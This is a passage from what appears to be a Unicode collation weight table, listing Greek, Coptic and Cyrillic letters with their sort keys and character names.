LETTER OMEGA WITH TONOS +1F7D ; [.1F5C.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER OMEGA WITH OXIA +038F ; [.1F5C.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER OMEGA WITH TONOS +1FFB ; [.1F5C.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER OMEGA WITH OXIA +1FF4 ; [.1F5C.0020.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH OXIA AND YPOGEGRAMMENI +1F7C ; [.1F5C.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER OMEGA WITH VARIA +1FFA ; [.1F5C.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER OMEGA WITH VARIA +1FF2 ; [.1F5C.0020.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH VARIA AND YPOGEGRAMMENI +1FF6 ; [.1F5C.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER OMEGA WITH PERISPOMENI +1FF7 ; [.1F5C.0020.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PERISPOMENI AND YPOGEGRAMMENI +1FF3 ; [.1F5C.0020.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH YPOGEGRAMMENI +1FFC ; [.1F5C.0020.0008][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PROSGEGRAMMENI +AB65 ; [.1F5D.0020.0002] # GREEK LETTER SMALL CAPITAL OMEGA +03E1 ; [.1F5E.0020.0002] # GREEK SMALL LETTER SAMPI +03E0 ; [.1F5E.0020.0008] # GREEK LETTER SAMPI +0373 ; [.1F5F.0020.0002] # GREEK SMALL LETTER ARCHAIC SAMPI +0372 ; [.1F5F.0020.0008] # GREEK CAPITAL LETTER ARCHAIC SAMPI +03F8 ; [.1F60.0020.0002] # GREEK SMALL LETTER SHO +03F7 ; [.1F60.0020.0008] # GREEK CAPITAL LETTER SHO +2C81 ; [.1F61.0020.0002] # COPTIC SMALL LETTER ALFA +2C80 ; [.1F61.0020.0008] # COPTIC CAPITAL LETTER ALFA +2C83 ; [.1F62.0020.0002] # COPTIC SMALL LETTER VIDA +2C82 ; [.1F62.0020.0008] # COPTIC CAPITAL LETTER VIDA +2C85 ; [.1F63.0020.0002] # COPTIC SMALL LETTER GAMMA +2C84 ; [.1F63.0020.0008] # COPTIC CAPITAL LETTER GAMMA +2C87 ; [.1F64.0020.0002] # COPTIC SMALL LETTER DALDA +2C86 ; [.1F64.0020.0008] # COPTIC CAPITAL LETTER DALDA +2C89 ; [.1F65.0020.0002] # COPTIC SMALL LETTER EIE +2C88 ; [.1F65.0020.0008] # COPTIC CAPITAL LETTER EIE +2CB7 ; [.1F66.0020.0002] # COPTIC SMALL LETTER CRYPTOGRAMMIC EIE +2CB6 ; [.1F66.0020.0008] # COPTIC CAPITAL LETTER CRYPTOGRAMMIC EIE +2C8B ; [.1F67.0020.0002] # COPTIC SMALL LETTER SOU +2C8A ; [.1F67.0020.0008] # COPTIC CAPITAL LETTER SOU +2C8D ; [.1F68.0020.0002] # COPTIC SMALL LETTER ZATA +2C8C ; [.1F68.0020.0008] # COPTIC CAPITAL LETTER ZATA +2C8F ; [.1F69.0020.0002] # COPTIC SMALL LETTER HATE +2C8E ; [.1F69.0020.0008] # COPTIC CAPITAL LETTER HATE +2C91 ; [.1F6A.0020.0002] # COPTIC SMALL LETTER THETHE +2C90 ; [.1F6A.0020.0008] # COPTIC CAPITAL LETTER THETHE +2C93 ; [.1F6B.0020.0002] # COPTIC SMALL LETTER IAUDA +2C92 ; [.1F6B.0020.0008] # COPTIC CAPITAL LETTER IAUDA +2C95 ; [.1F6C.0020.0002] # COPTIC SMALL LETTER KAPA +2C94 ; [.1F6C.0020.0008] # COPTIC CAPITAL LETTER KAPA +2CE4 ; [.1F6C.0020.0004][.1F61.0020.0004][.1F6B.0020.0004] # COPTIC SYMBOL KAI +2CB9 ; [.1F6D.0020.0002] # COPTIC SMALL LETTER DIALECT-P KAPA +2CB8 ; [.1F6D.0020.0008] # COPTIC CAPITAL LETTER DIALECT-P KAPA +2C97 ; [.1F6E.0020.0002] # COPTIC SMALL LETTER LAULA +2C96 ; [.1F6E.0020.0008] # COPTIC CAPITAL LETTER LAULA +2C99 ; [.1F6F.0020.0002] # COPTIC SMALL LETTER MI +2C98 ; [.1F6F.0020.0008] # COPTIC CAPITAL LETTER MI +2C9B ; [.1F70.0020.0002] # COPTIC SMALL LETTER NI +2C9A ; [.1F70.0020.0008] # COPTIC CAPITAL LETTER NI +2CBB ; [.1F71.0020.0002] # COPTIC SMALL LETTER DIALECT-P NI +2CBA ; [.1F71.0020.0008] # COPTIC CAPITAL LETTER DIALECT-P NI +2CBD ; [.1F72.0020.0002] # COPTIC SMALL LETTER CRYPTOGRAMMIC NI +2CBC ; [.1F72.0020.0008] # COPTIC CAPITAL LETTER CRYPTOGRAMMIC NI +2C9D ; [.1F73.0020.0002] # COPTIC SMALL LETTER KSI +2C9C ; [.1F73.0020.0008] # COPTIC CAPITAL LETTER KSI +2C9F ; [.1F74.0020.0002] # COPTIC SMALL LETTER O +2C9E ; [.1F74.0020.0008] # COPTIC CAPITAL LETTER O +2CA1 ; [.1F75.0020.0002] # COPTIC SMALL LETTER PI +2CA0 ; [.1F75.0020.0008] # COPTIC CAPITAL LETTER PI +2CA3 ; [.1F76.0020.0002] # COPTIC SMALL LETTER RO +2CA2 ; [.1F76.0020.0008] # COPTIC CAPITAL LETTER RO +2CA5 ; [.1F77.0020.0002] # COPTIC SMALL LETTER SIMA +2CA4 ; [.1F77.0020.0008] # COPTIC CAPITAL LETTER SIMA +2CA7 ; [.1F78.0020.0002] # COPTIC SMALL LETTER TAU +2CA6 ; [.1F78.0020.0008] # COPTIC CAPITAL LETTER TAU +2CA9 ; [.1F79.0020.0002] # COPTIC SMALL LETTER UA +2CA8 ; [.1F79.0020.0008] # COPTIC CAPITAL LETTER UA +2CAB ; [.1F7A.0020.0002] # COPTIC SMALL LETTER FI +2CAA ; [.1F7A.0020.0008] # COPTIC CAPITAL LETTER FI +2CAD ; [.1F7B.0020.0002] # COPTIC SMALL LETTER KHI +2CAC ; [.1F7B.0020.0008] # COPTIC CAPITAL LETTER KHI +2CAF ; [.1F7C.0020.0002] # COPTIC SMALL LETTER PSI +2CAE ; [.1F7C.0020.0008] # COPTIC CAPITAL LETTER PSI +2CB1 ; [.1F7D.0020.0002] # COPTIC SMALL LETTER OOU +2CB0 ; [.1F7D.0020.0008] # COPTIC CAPITAL LETTER OOU +2CBF ; [.1F7E.0020.0002] # COPTIC SMALL LETTER OLD COPTIC OOU +2CBE ; [.1F7E.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC OOU +2CC1 ; [.1F7F.0020.0002] # COPTIC SMALL LETTER SAMPI +2CC0 ; [.1F7F.0020.0008] # COPTIC CAPITAL LETTER SAMPI +03E3 ; [.1F80.0020.0002] # COPTIC SMALL LETTER SHEI +03E2 ; [.1F80.0020.0008] # COPTIC CAPITAL LETTER SHEI +2CEC ; [.1F81.0020.0002] # COPTIC SMALL LETTER CRYPTOGRAMMIC SHEI +2CEB ; [.1F81.0020.0008] # COPTIC CAPITAL LETTER CRYPTOGRAMMIC SHEI +2CC3 ; [.1F82.0020.0002] # COPTIC SMALL LETTER CROSSED SHEI +2CC2 ; [.1F82.0020.0008] # COPTIC CAPITAL LETTER CROSSED SHEI +2CC5 ; [.1F83.0020.0002] # COPTIC SMALL LETTER OLD COPTIC SHEI +2CC4 ; [.1F83.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC SHEI +2CC7 ; [.1F84.0020.0002] # COPTIC SMALL LETTER OLD COPTIC ESH +2CC6 ; [.1F84.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC ESH +03E5 ; [.1F85.0020.0002] # COPTIC SMALL LETTER FEI +03E4 ; [.1F85.0020.0008] # COPTIC CAPITAL LETTER FEI +03E7 ; [.1F86.0020.0002] # COPTIC SMALL LETTER KHEI +03E6 ; [.1F86.0020.0008] # COPTIC CAPITAL LETTER KHEI +2CF3 ; [.1F87.0020.0002] # COPTIC SMALL LETTER BOHAIRIC KHEI +2CF2 ; [.1F87.0020.0008] # COPTIC CAPITAL LETTER BOHAIRIC KHEI +2CC9 ; [.1F88.0020.0002] # COPTIC SMALL LETTER AKHMIMIC KHEI +2CC8 ; [.1F88.0020.0008] # COPTIC CAPITAL LETTER AKHMIMIC KHEI +03E9 ; [.1F89.0020.0002] # COPTIC SMALL LETTER HORI +03E8 ; [.1F89.0020.0008] # COPTIC CAPITAL LETTER HORI +2CCB ; [.1F8A.0020.0002] # COPTIC SMALL LETTER DIALECT-P HORI +2CCA ; [.1F8A.0020.0008] # COPTIC CAPITAL LETTER DIALECT-P HORI +2CCD ; [.1F8B.0020.0002] # COPTIC SMALL LETTER OLD COPTIC HORI +2CCC ; [.1F8B.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC HORI +2CCF ; [.1F8C.0020.0002] # COPTIC SMALL LETTER OLD COPTIC HA +2CCE ; [.1F8C.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC HA +2CD1 ; [.1F8D.0020.0002] # COPTIC SMALL LETTER L-SHAPED HA +2CD0 ; [.1F8D.0020.0008] # COPTIC CAPITAL LETTER L-SHAPED HA +2CD3 ; [.1F8E.0020.0002] # COPTIC SMALL LETTER OLD COPTIC HEI +2CD2 ; [.1F8E.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC HEI +2CD5 ; [.1F8F.0020.0002] # COPTIC SMALL LETTER OLD COPTIC HAT +2CD4 ; [.1F8F.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC HAT +03EB ; [.1F90.0020.0002] # COPTIC SMALL LETTER GANGIA +03EA ; [.1F90.0020.0008] # COPTIC CAPITAL LETTER GANGIA +2CEE ; [.1F91.0020.0002] # COPTIC SMALL LETTER CRYPTOGRAMMIC GANGIA +2CED ; [.1F91.0020.0008] # COPTIC CAPITAL LETTER CRYPTOGRAMMIC GANGIA +2CD7 ; [.1F92.0020.0002] # COPTIC SMALL LETTER OLD COPTIC GANGIA +2CD6 ; [.1F92.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC GANGIA +03ED ; [.1F93.0020.0002] # COPTIC SMALL LETTER SHIMA +03EC ; [.1F93.0020.0008] # COPTIC CAPITAL LETTER SHIMA +2CD9 ; [.1F94.0020.0002] # COPTIC SMALL LETTER OLD COPTIC DJA +2CD8 ; [.1F94.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC DJA +2CDB ; [.1F95.0020.0002] # COPTIC SMALL LETTER OLD COPTIC SHIMA +2CDA ; [.1F95.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC SHIMA +2CDD ; [.1F96.0020.0002] # COPTIC SMALL LETTER OLD NUBIAN SHIMA +2CDC ; [.1F96.0020.0008] # COPTIC CAPITAL LETTER OLD NUBIAN SHIMA +03EF ; [.1F97.0020.0002] # COPTIC SMALL LETTER DEI +03EE ; [.1F97.0020.0008] # COPTIC CAPITAL LETTER DEI +2CB3 ; [.1F98.0020.0002] # COPTIC SMALL LETTER DIALECT-P ALEF +2CB2 ; [.1F98.0020.0008] # COPTIC CAPITAL LETTER DIALECT-P ALEF +2CB5 ; [.1F99.0020.0002] # COPTIC SMALL LETTER OLD COPTIC AIN +2CB4 ; [.1F99.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC AIN +2CDF ; [.1F9A.0020.0002] # COPTIC SMALL LETTER OLD NUBIAN NGI +2CDE ; [.1F9A.0020.0008] # COPTIC CAPITAL LETTER OLD NUBIAN NGI +2CE1 ; [.1F9B.0020.0002] # COPTIC SMALL LETTER OLD NUBIAN NYI +2CE0 ; [.1F9B.0020.0008] # COPTIC CAPITAL LETTER OLD NUBIAN NYI +2CE3 ; [.1F9C.0020.0002] # COPTIC SMALL LETTER OLD NUBIAN WAU +2CE2 ; [.1F9C.0020.0008] # COPTIC CAPITAL LETTER OLD NUBIAN WAU +0430 ; [.1F9D.0020.0002] # CYRILLIC SMALL LETTER A +2DF6 ; [.1F9D.0020.0004] # COMBINING CYRILLIC LETTER A +0410 ; [.1F9D.0020.0008] # CYRILLIC CAPITAL LETTER A +04D1 ; [.1F9D.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER A WITH BREVE +04D0 ; [.1F9D.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER A WITH BREVE +04D3 ; [.1F9D.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER A WITH DIAERESIS +04D2 ; [.1F9D.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER A WITH DIAERESIS +04D9 ; [.1FA1.0020.0002] # CYRILLIC SMALL LETTER SCHWA +04D8 ; [.1FA1.0020.0008] # CYRILLIC CAPITAL LETTER SCHWA +04DB ; [.1FA1.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER SCHWA WITH DIAERESIS +04DA ; [.1FA1.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER SCHWA WITH DIAERESIS +04D5 ; [.1FA5.0020.0002] # CYRILLIC SMALL LIGATURE A IE +04D4 ; [.1FA5.0020.0008] # CYRILLIC CAPITAL LIGATURE A IE +0431 ; [.1FA9.0020.0002] # CYRILLIC SMALL LETTER BE +2DE0 ; [.1FA9.0020.0004] # COMBINING CYRILLIC LETTER BE +0411 ; [.1FA9.0020.0008] # CYRILLIC CAPITAL LETTER BE +0432 ; [.1FAD.0020.0002] # CYRILLIC SMALL LETTER VE +2DE1 ; [.1FAD.0020.0004] # COMBINING CYRILLIC LETTER VE +0412 ; [.1FAD.0020.0008] # CYRILLIC CAPITAL LETTER VE +0433 ; [.1FB1.0020.0002] # CYRILLIC SMALL LETTER GHE +2DE2 ; [.1FB1.0020.0004] # COMBINING CYRILLIC LETTER GHE +0413 ; [.1FB1.0020.0008] # CYRILLIC CAPITAL LETTER GHE +0453 ; [.1FB1.0020.0002][.0000.0024.0002] # CYRILLIC SMALL LETTER GJE +0403 ; [.1FB1.0020.0008][.0000.0024.0002] # CYRILLIC CAPITAL LETTER GJE +0491 ; [.1FB1.0020.0004][.0000.010C.0004] # CYRILLIC SMALL LETTER GHE WITH UPTURN +0490 ; [.1FB1.0020.000A][.0000.010C.0004] # CYRILLIC CAPITAL LETTER GHE WITH UPTURN +0493 ; [.1FB5.0020.0002] # CYRILLIC SMALL LETTER GHE WITH STROKE +0492 ; [.1FB5.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH STROKE +04FB ; [.1FB9.0020.0002] # CYRILLIC SMALL LETTER GHE WITH STROKE AND HOOK +04FA ; [.1FB9.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH STROKE AND HOOK +0495 ; [.1FBD.0020.0002] # CYRILLIC SMALL LETTER GHE WITH MIDDLE HOOK +0494 ; [.1FBD.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH MIDDLE HOOK +04F7 ; [.1FC1.0020.0002] # CYRILLIC SMALL LETTER GHE WITH DESCENDER +04F6 ; [.1FC1.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH DESCENDER +0434 ; [.1FC5.0020.0002] # CYRILLIC SMALL LETTER DE +2DE3 ; [.1FC5.0020.0004] # COMBINING CYRILLIC LETTER DE +0414 ; [.1FC5.0020.0008] # CYRILLIC CAPITAL LETTER DE +0501 ; [.1FC9.0020.0002] # CYRILLIC SMALL LETTER KOMI DE +0500 ; [.1FC9.0020.0008] # CYRILLIC CAPITAL LETTER KOMI DE +A681 ; [.1FCA.0020.0002] # CYRILLIC SMALL LETTER DWE +A680 ; [.1FCA.0020.0008] # CYRILLIC CAPITAL LETTER DWE +0452 ; [.1FCB.0020.0002] # CYRILLIC SMALL LETTER DJE +0402 ; [.1FCB.0020.0008] # CYRILLIC CAPITAL LETTER DJE +A663 ; [.1FCF.0020.0002] # CYRILLIC SMALL LETTER SOFT DE +A662 ; [.1FCF.0020.0008] # CYRILLIC CAPITAL LETTER SOFT DE +0503 ; [.1FD0.0020.0002] # CYRILLIC SMALL LETTER KOMI DJE +0502 ; [.1FD0.0020.0008] # CYRILLIC CAPITAL LETTER KOMI DJE +0499 ; [.1FD1.0020.0002] # CYRILLIC SMALL LETTER ZE WITH DESCENDER +0498 ; [.1FD1.0020.0008] # CYRILLIC CAPITAL LETTER ZE WITH DESCENDER +0435 ; [.1FD5.0020.0002] # CYRILLIC SMALL LETTER IE +2DF7 ; [.1FD5.0020.0004] # COMBINING CYRILLIC LETTER IE +0415 ; [.1FD5.0020.0008] # CYRILLIC CAPITAL LETTER IE +0450 ; [.1FD5.0020.0002][.0000.0025.0002] # CYRILLIC SMALL LETTER IE WITH GRAVE +0400 ; [.1FD5.0020.0008][.0000.0025.0002] # CYRILLIC CAPITAL LETTER IE WITH GRAVE +04D7 ; [.1FD5.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER IE WITH BREVE +04D6 ; [.1FD5.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER IE WITH BREVE +0451 ; [.1FD5.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER IO +0401 ; [.1FD5.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER IO +0454 ; [.1FD9.0020.0002] # CYRILLIC SMALL LETTER UKRAINIAN IE +A674 ; [.1FD9.0020.0004] # COMBINING CYRILLIC LETTER UKRAINIAN IE +0404 ; [.1FD9.0020.0008] # CYRILLIC CAPITAL LETTER UKRAINIAN IE +0436 ; [.1FDD.0020.0002] # CYRILLIC SMALL LETTER ZHE +2DE4 ; [.1FDD.0020.0004] # COMBINING CYRILLIC LETTER ZHE +0416 ; [.1FDD.0020.0008] # CYRILLIC CAPITAL LETTER ZHE +04C2 ; [.1FDD.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER ZHE WITH BREVE +04C1 ; [.1FDD.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER ZHE WITH BREVE +04DD ; [.1FDD.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER ZHE WITH DIAERESIS +04DC ; [.1FDD.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER ZHE WITH DIAERESIS +052B ; [.1FE1.0020.0002] # CYRILLIC SMALL LETTER DZZHE +052A ; [.1FE1.0020.0008] # CYRILLIC CAPITAL LETTER DZZHE +A685 ; [.1FE2.0020.0002] # CYRILLIC SMALL LETTER ZHWE +A684 ; [.1FE2.0020.0008] # CYRILLIC CAPITAL LETTER ZHWE +0497 ; [.1FE3.0020.0002] # CYRILLIC SMALL LETTER ZHE WITH DESCENDER +0496 ; [.1FE3.0020.0008] # CYRILLIC CAPITAL LETTER ZHE WITH DESCENDER +0437 ; [.1FE7.0020.0002] # CYRILLIC SMALL LETTER ZE +2DE5 ; [.1FE7.0020.0004] # COMBINING CYRILLIC LETTER ZE +0417 ; [.1FE7.0020.0008] # CYRILLIC CAPITAL LETTER ZE +04DF ; [.1FE7.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER ZE WITH DIAERESIS +04DE ; [.1FE7.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER ZE WITH DIAERESIS +A641 ; [.1FEB.0020.0002] # CYRILLIC SMALL LETTER ZEMLYA +A640 ; [.1FEB.0020.0008] # CYRILLIC CAPITAL LETTER ZEMLYA +0505 ; [.1FEC.0020.0002] # CYRILLIC SMALL LETTER KOMI ZJE +0504 ; [.1FEC.0020.0008] # CYRILLIC CAPITAL LETTER KOMI ZJE +0511 ; [.1FED.0020.0002] # CYRILLIC SMALL LETTER REVERSED ZE +0510 ; [.1FED.0020.0008] # CYRILLIC CAPITAL LETTER REVERSED ZE +A643 ; [.1FEE.0020.0002] # CYRILLIC SMALL LETTER DZELO +A642 ; [.1FEE.0020.0008] # CYRILLIC CAPITAL LETTER DZELO +0455 ; [.1FEF.0020.0002] # CYRILLIC SMALL LETTER DZE +0405 ; [.1FEF.0020.0008] # CYRILLIC CAPITAL LETTER DZE +A645 ; [.1FF3.0020.0002] # CYRILLIC SMALL LETTER REVERSED DZE +A644 ; [.1FF3.0020.0008] # CYRILLIC CAPITAL LETTER REVERSED DZE +04E1 ; [.1FF4.0020.0002] # CYRILLIC SMALL LETTER ABKHASIAN DZE +04E0 ; [.1FF4.0020.0008] # CYRILLIC CAPITAL LETTER ABKHASIAN DZE +A689 ; [.1FF8.0020.0002] # CYRILLIC SMALL LETTER DZZE +A688 ; [.1FF8.0020.0008] # CYRILLIC CAPITAL LETTER DZZE +0507 ; [.1FF9.0020.0002] # CYRILLIC SMALL LETTER KOMI DZJE +0506 ; [.1FF9.0020.0008] # CYRILLIC CAPITAL LETTER KOMI DZJE +A683 ; [.1FFA.0020.0002] # CYRILLIC SMALL LETTER DZWE +A682 ; [.1FFA.0020.0008] # CYRILLIC CAPITAL LETTER DZWE +0438 ; [.1FFB.0020.0002] # CYRILLIC SMALL LETTER I +A675 ; [.1FFB.0020.0004] # COMBINING CYRILLIC LETTER I +0418 ; [.1FFB.0020.0008] # CYRILLIC CAPITAL LETTER I +045D ; [.1FFB.0020.0002][.0000.0025.0002] # CYRILLIC SMALL LETTER I WITH GRAVE +040D ; [.1FFB.0020.0008][.0000.0025.0002] # CYRILLIC CAPITAL LETTER I WITH GRAVE +04E5 ; [.1FFB.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER I WITH DIAERESIS +04E4 ; [.1FFB.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER I WITH DIAERESIS +04E3 ; [.1FFB.0020.0002][.0000.0032.0002] # CYRILLIC SMALL LETTER I WITH MACRON +04E2 ; [.1FFB.0020.0008][.0000.0032.0002] # CYRILLIC CAPITAL LETTER I WITH MACRON +048B ; [.1FFF.0020.0002] # CYRILLIC SMALL LETTER SHORT I WITH TAIL +048A ; [.1FFF.0020.0008] # CYRILLIC CAPITAL LETTER SHORT I WITH TAIL +0456 ; [.2003.0020.0002] # CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I +0406 ; [.2003.0020.0008] # CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I +0457 ; [.2003.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER YI +A676 ; [.2003.0020.0004][.0000.002B.0004] # COMBINING CYRILLIC LETTER YI +0407 ; [.2003.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER YI +A647 ; [.2007.0020.0002] # CYRILLIC SMALL LETTER IOTA +A646 ; [.2007.0020.0008] # CYRILLIC CAPITAL LETTER IOTA +0439 ; [.2008.0020.0002] # CYRILLIC SMALL LETTER SHORT I +0438 0306 ; [.2008.0020.0002] # CYRILLIC SMALL LETTER SHORT I +0419 ; [.2008.0020.0008] # CYRILLIC CAPITAL LETTER SHORT I +0418 0306 ; [.2008.0020.0008] # CYRILLIC CAPITAL LETTER SHORT I +0458 ; [.200C.0020.0002] # CYRILLIC SMALL LETTER JE +0408 ; [.200C.0020.0008] # CYRILLIC CAPITAL LETTER JE +A649 ; [.2010.0020.0002] # CYRILLIC SMALL LETTER DJERV +2DF8 ; [.2010.0020.0004] # COMBINING CYRILLIC LETTER DJERV +A648 ; [.2010.0020.0008] # CYRILLIC CAPITAL LETTER DJERV +043A ; [.2011.0020.0002] # CYRILLIC SMALL LETTER KA +2DE6 ; [.2011.0020.0004] # COMBINING CYRILLIC LETTER KA +041A ; [.2011.0020.0008] # CYRILLIC CAPITAL LETTER KA +045C ; [.2011.0020.0002][.0000.0024.0002] # CYRILLIC SMALL LETTER KJE +040C ; [.2011.0020.0008][.0000.0024.0002] # CYRILLIC CAPITAL LETTER KJE +049B ; [.2015.0020.0002] # CYRILLIC SMALL LETTER KA WITH DESCENDER +049A ; [.2015.0020.0008] # CYRILLIC CAPITAL LETTER KA WITH DESCENDER +04C4 ; [.2019.0020.0002] # CYRILLIC SMALL LETTER KA WITH HOOK +04C3 ; [.2019.0020.0008] # CYRILLIC CAPITAL LETTER KA WITH HOOK +04A1 ; [.201D.0020.0002] # CYRILLIC SMALL LETTER BASHKIR KA +04A0 ; [.201D.0020.0008] # CYRILLIC CAPITAL LETTER BASHKIR KA +049F ; [.2021.0020.0002] # CYRILLIC SMALL LETTER KA WITH STROKE +049E ; [.2021.0020.0008] # CYRILLIC CAPITAL LETTER KA WITH STROKE +049D ; [.2025.0020.0002] # CYRILLIC SMALL LETTER KA WITH VERTICAL STROKE +049C ; [.2025.0020.0008] # CYRILLIC CAPITAL LETTER KA WITH VERTICAL STROKE +051F ; [.2029.0020.0002] # CYRILLIC SMALL LETTER ALEUT KA +051E ; [.2029.0020.0008] # CYRILLIC CAPITAL LETTER ALEUT KA +051B ; [.202A.0020.0002] # CYRILLIC SMALL LETTER QA +051A ; [.202A.0020.0008] # CYRILLIC CAPITAL LETTER QA +043B ; [.202B.0020.0002] # CYRILLIC SMALL LETTER EL +2DE7 ; [.202B.0020.0004] # COMBINING CYRILLIC LETTER EL +041B ; [.202B.0020.0008] # CYRILLIC CAPITAL LETTER EL +1D2B ; [.202F.0020.0002] # CYRILLIC LETTER SMALL CAPITAL EL +04C6 ; [.2030.0020.0002] # CYRILLIC SMALL LETTER EL WITH TAIL +04C5 ; [.2030.0020.0008] # CYRILLIC CAPITAL LETTER EL WITH TAIL +052F ; [.2034.0020.0002] # CYRILLIC SMALL LETTER EL WITH DESCENDER +052E ; [.2034.0020.0008] # CYRILLIC CAPITAL LETTER EL WITH DESCENDER +0513 ; [.2035.0020.0002] # CYRILLIC SMALL LETTER EL WITH HOOK +0512 ; [.2035.0020.0008] # CYRILLIC CAPITAL LETTER EL WITH HOOK +0521 ; [.2036.0020.0002] # CYRILLIC SMALL LETTER EL WITH MIDDLE HOOK +0520 ; [.2036.0020.0008] # CYRILLIC CAPITAL LETTER EL WITH MIDDLE HOOK +0459 ; [.2037.0020.0002] # CYRILLIC SMALL LETTER LJE +0409 ; [.2037.0020.0008] # CYRILLIC CAPITAL LETTER LJE +A665 ; [.203B.0020.0002] # CYRILLIC SMALL LETTER SOFT EL +A664 ; [.203B.0020.0008] # CYRILLIC CAPITAL LETTER SOFT EL +0509 ; [.203C.0020.0002] # CYRILLIC SMALL LETTER KOMI LJE +0508 ; [.203C.0020.0008] # CYRILLIC CAPITAL LETTER KOMI LJE +0515 ; [.203D.0020.0002] # CYRILLIC SMALL LETTER LHA +0514 ; [.203D.0020.0008] # CYRILLIC CAPITAL LETTER LHA +043C ; [.203E.0020.0002] # CYRILLIC SMALL LETTER EM +2DE8 ; [.203E.0020.0004] # COMBINING CYRILLIC LETTER EM +041C ; [.203E.0020.0008] # CYRILLIC CAPITAL LETTER EM +04CE ; [.2042.0020.0002] # CYRILLIC SMALL LETTER EM WITH TAIL +04CD ; [.2042.0020.0008] # CYRILLIC CAPITAL LETTER EM WITH TAIL +A667 ; [.2046.0020.0002] # CYRILLIC SMALL LETTER SOFT EM +A666 ; [.2046.0020.0008] # CYRILLIC CAPITAL LETTER SOFT EM +043D ; [.2047.0020.0002] # CYRILLIC SMALL LETTER EN +2DE9 ; [.2047.0020.0004] # COMBINING CYRILLIC LETTER EN +041D ; [.2047.0020.0008] # CYRILLIC CAPITAL LETTER EN +1D78 ; [.2047.0020.0014] # MODIFIER LETTER CYRILLIC EN +0529 ; [.204B.0020.0002] # CYRILLIC SMALL LETTER EN WITH LEFT HOOK +0528 ; [.204B.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH LEFT HOOK +04CA ; [.204C.0020.0002] # CYRILLIC SMALL LETTER EN WITH TAIL +04C9 ; [.204C.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH TAIL +04A3 ; [.2050.0020.0002] # CYRILLIC SMALL LETTER EN WITH DESCENDER +04A2 ; [.2050.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH DESCENDER +04C8 ; [.2054.0020.0002] # CYRILLIC SMALL LETTER EN WITH HOOK +04C7 ; [.2054.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH HOOK +0523 ; [.2058.0020.0002] # CYRILLIC SMALL LETTER EN WITH MIDDLE HOOK +0522 ; [.2058.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH MIDDLE HOOK +04A5 ; [.2059.0020.0002] # CYRILLIC SMALL LIGATURE EN GHE +04A4 ; [.2059.0020.0008] # CYRILLIC CAPITAL LIGATURE EN GHE +045A ; [.205D.0020.0002] # CYRILLIC SMALL LETTER NJE +040A ; [.205D.0020.0008] # CYRILLIC CAPITAL LETTER NJE +050B ; [.2061.0020.0002] # CYRILLIC SMALL LETTER KOMI NJE +050A ; [.2061.0020.0008] # CYRILLIC CAPITAL LETTER KOMI NJE +043E ; [.2062.0020.0002] # CYRILLIC SMALL LETTER O +2DEA ; [.2062.0020.0004] # COMBINING CYRILLIC LETTER O +A669 ; [.2062.0020.0004] # CYRILLIC SMALL LETTER MONOCULAR O +A66B ; [.2062.0020.0004] # CYRILLIC SMALL LETTER BINOCULAR O +A66D ; [.2062.0020.0004] # CYRILLIC SMALL LETTER DOUBLE MONOCULAR O +A66E ; [.2062.0020.0004] # CYRILLIC LETTER MULTIOCULAR O +A699 ; [.2062.0020.0004] # CYRILLIC SMALL LETTER DOUBLE O +A69B ; [.2062.0020.0004] # CYRILLIC SMALL LETTER CROSSED O +041E ; [.2062.0020.0008] # CYRILLIC CAPITAL LETTER O +A668 ; [.2062.0020.000A] # CYRILLIC CAPITAL LETTER MONOCULAR O +A66A ; [.2062.0020.000A] # CYRILLIC CAPITAL LETTER BINOCULAR O +A66C ; [.2062.0020.000A] # CYRILLIC CAPITAL LETTER 